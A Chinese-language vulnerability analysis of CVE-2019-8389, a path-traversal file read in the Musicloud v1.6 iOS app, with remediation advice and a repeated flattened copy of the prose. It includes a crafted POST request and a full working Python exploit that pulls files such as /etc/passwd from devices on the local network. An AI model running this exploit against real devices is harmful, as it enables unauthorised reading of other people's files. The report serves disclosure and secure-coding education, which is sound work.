CVE-2019-8389 - MUSICLOUD V1.6 任意文件读取漏洞
字数 1353 2025-08-29 08:32:00

MUSICLOUD V1.6 任意文件读取漏洞(CVE-2019-8389)分析报告

漏洞概述

CVE-2019-8389是iOS应用程序Musicloud v1.6中存在的一个任意文件读取漏洞。该漏洞允许攻击者通过构造特殊的HTTP请求,读取目标设备上的任意文件,包括敏感系统文件如/etc/passwd。

漏洞背景

Musicloud是一个音乐播放器应用程序,主要功能包括:

  • 存储和播放来自不同来源的音乐
  • 支持从Dropbox、Google Drive和本地计算机导入音乐
  • 提供无线传输功能用于手机和电脑之间的音乐传输

漏洞详情

无线传输服务

当用户启用无线传输功能时:

  • 服务运行在设备外部IP的8080端口
  • 同一局域网内的所有用户都可以访问该服务
  • 服务提供两个关键脚本:
    • /download.script - 用于下载音乐
    • /upload.script - 用于上传音乐

正常下载流程

  1. 下载单个文件:

    • GET请求格式:http://[IP]:8080/[filename]?download
    • 示例:http://192.168.1.100:8080/music-1.mp3?download
  2. 下载多个文件:

    • 发送POST请求到/download.script
    • 请求体包含要下载的文件列表和当前文件夹参数
    • 示例请求:
      POST /download.script HTTP/1.1
      Host: 192.168.1.100:8080
      Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      Content-Length: 141
      
      downfiles=music-1.mp3%0D%0Amusic-2.mp3&cur-folder=
      
    • 服务器会创建包含指定文件的MusicPlayerArchive.zip

漏洞利用原理

漏洞存在于/download.script的参数处理中:

  1. cur-folder参数允许指定任意目录路径
  2. downfiles参数允许指定任意文件名
  3. 当这两个参数组合时,可以构造路径遍历攻击

漏洞利用步骤

  1. 构造恶意POST请求:

    POST /download.script HTTP/1.1
    Host: 192.168.1.100:8080
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Content-Length: 59
    
    downfiles=passwd&cur-folder=etc/
    
    • 这将尝试读取/etc/passwd文件
  2. 服务器会创建包含目标文件的MusicPlayerArchive.zip

  3. 通过GET请求下载该zip文件:
    http://192.168.1.100:8080/MusicPlayerArchive.zip

  4. 解压zip文件即可获取目标文件内容

漏洞利用脚本

以下是自动化利用该漏洞的Python脚本:

#!/usr/bin/python
# Proof of concept for CVE-2019-8389
# Exploit author: Shawar Khan

import sys
import requests

def usage():
    print "Usage: \n\t python musicloud_lfi.py 192.168.8.103 /etc/passwd \n "

try:
    ip = sys.argv[1]
    path = sys.argv[2]
    downfile = path.split('/')[::-1][0]
    cur_fold = '.' + path[:-len(downfile)]
    
    print '''
    Musicloud v1.6 iOS - Local File Read exploit
    CVE: CVE-2019-8389
    Author: Shawar Khan ( @shawarkhanethicalhacker )
    '''

    def create_archive(file, payload):
        post_data = {
            "downfiles": file,
            "cur-folder": payload
        }
        print "[+] Injecting Payload..."
        try:
            inj_status = requests.post('http://' + str(ip) + ':8080/download.script', data=post_data)
            if "MusicPlayerArchive.zip" in inj_status.text and inj_status.status_code == 200:
                print "[+] Payload successfully injected"
            elif inj_status.status_code == 404:
                print "[+] Payload injection failed, File not found"
                exit()
            else:
                print "[+] Payload injection failed!"
                exit()
        except (requests.exceptions.ConnectionError) as err:
            print '[+] Payload injection failed! Connection refused.'
            exit()

    def retrieve_content():
        print "[+] Retrieving MusicPlayerArchive.zip"
        zip_content = requests.get('http://' + str(ip) + ':8080/MusicPlayerArchive.zip')
        if zip_content.status_code == 200:
            print "[+] Successfully retrieved MusicPlayerArchive.zip! \n\n [i] Printing content of %s : \n " % path
            archive = zip_content.text.splitlines()
            for i in range(2):
                archive.pop()
                archive.pop(0)
            print '\n'.join(archive)
        else:
            print "[+] Error retrieving content!"

    create_archive(downfile, cur_fold)
    retrieve_content()

except (IndexError):
    usage()

脚本使用说明

  1. 使用方法:
    python musicloud_lfi.py [目标IP] [要读取的文件路径]
    示例:
    python musicloud_lfi.py 192.168.1.100 /etc/passwd

  2. 脚本功能:

    • 自动构造恶意POST请求
    • 触发漏洞创建包含目标文件的zip
    • 下载并提取zip文件内容
    • 显示目标文件内容

漏洞修复建议

  1. cur-folderdownfiles参数进行严格验证:

    • 限制路径只能访问特定音乐目录
    • 禁止路径遍历字符(如../)
  2. 实现身份验证机制:

    • 要求有效的用户凭证才能使用文件传输功能
  3. 限制网络访问:

    • 默认情况下不应监听所有网络接口
    • 可以考虑仅允许本地回环接口访问
  4. 更新应用程序:

    • 升级到已修复该漏洞的版本

总结

CVE-2019-8389是一个典型的任意文件读取漏洞,由于缺乏对用户输入的有效验证而导致。攻击者可以利用该漏洞读取设备上的敏感文件,可能导致信息泄露甚至更严重的后果。开发人员应始终对所有用户提供的输入进行严格验证,特别是涉及文件系统操作时。

MUSICLOUD V1.6 任意文件读取漏洞(CVE-2019-8389)分析报告 漏洞概述 CVE-2019-8389是iOS应用程序Musicloud v1.6中存在的一个任意文件读取漏洞。该漏洞允许攻击者通过构造特殊的HTTP请求,读取目标设备上的任意文件,包括敏感系统文件如/etc/passwd。 漏洞背景 Musicloud是一个音乐播放器应用程序,主要功能包括: 存储和播放来自不同来源的音乐 支持从Dropbox、Google Drive和本地计算机导入音乐 提供无线传输功能用于手机和电脑之间的音乐传输 漏洞详情 无线传输服务 当用户启用无线传输功能时: 服务运行在设备外部IP的8080端口 同一局域网内的所有用户都可以访问该服务 服务提供两个关键脚本: /download.script - 用于下载音乐 /upload.script - 用于上传音乐 正常下载流程 下载单个文件: GET请求格式: http://[IP]:8080/[filename]?download 示例: http://192.168.1.100:8080/music-1.mp3?download 下载多个文件: 发送POST请求到 /download.script 请求体包含要下载的文件列表和当前文件夹参数 示例请求: 服务器会创建包含指定文件的MusicPlayerArchive.zip 漏洞利用原理 漏洞存在于 /download.script 的参数处理中: cur-folder 参数允许指定任意目录路径 downfiles 参数允许指定任意文件名 当这两个参数组合时,可以构造路径遍历攻击 漏洞利用步骤 构造恶意POST请求: 这将尝试读取 /etc/passwd 文件 服务器会创建包含目标文件的MusicPlayerArchive.zip 通过GET请求下载该zip文件: http://192.168.1.100:8080/MusicPlayerArchive.zip 解压zip文件即可获取目标文件内容 漏洞利用脚本 以下是自动化利用该漏洞的Python脚本: 脚本使用说明 使用方法: python musicloud_lfi.py [目标IP] [要读取的文件路径] 示例: python musicloud_lfi.py 192.168.1.100 /etc/passwd 脚本功能: 自动构造恶意POST请求 触发漏洞创建包含目标文件的zip 下载并提取zip文件内容 显示目标文件内容 漏洞修复建议 对 cur-folder 和 downfiles 参数进行严格验证: 限制路径只能访问特定音乐目录 禁止路径遍历字符(如../) 实现身份验证机制: 要求有效的用户凭证才能使用文件传输功能 限制网络访问: 默认情况下不应监听所有网络接口 可以考虑仅允许本地回环接口访问 更新应用程序: 升级到已修复该漏洞的版本 总结 CVE-2019-8389是一个典型的任意文件读取漏洞,由于缺乏对用户输入的有效验证而导致。攻击者可以利用该漏洞读取设备上的敏感文件,可能导致信息泄露甚至更严重的后果。开发人员应始终对所有用户提供的输入进行严格验证,特别是涉及文件系统操作时。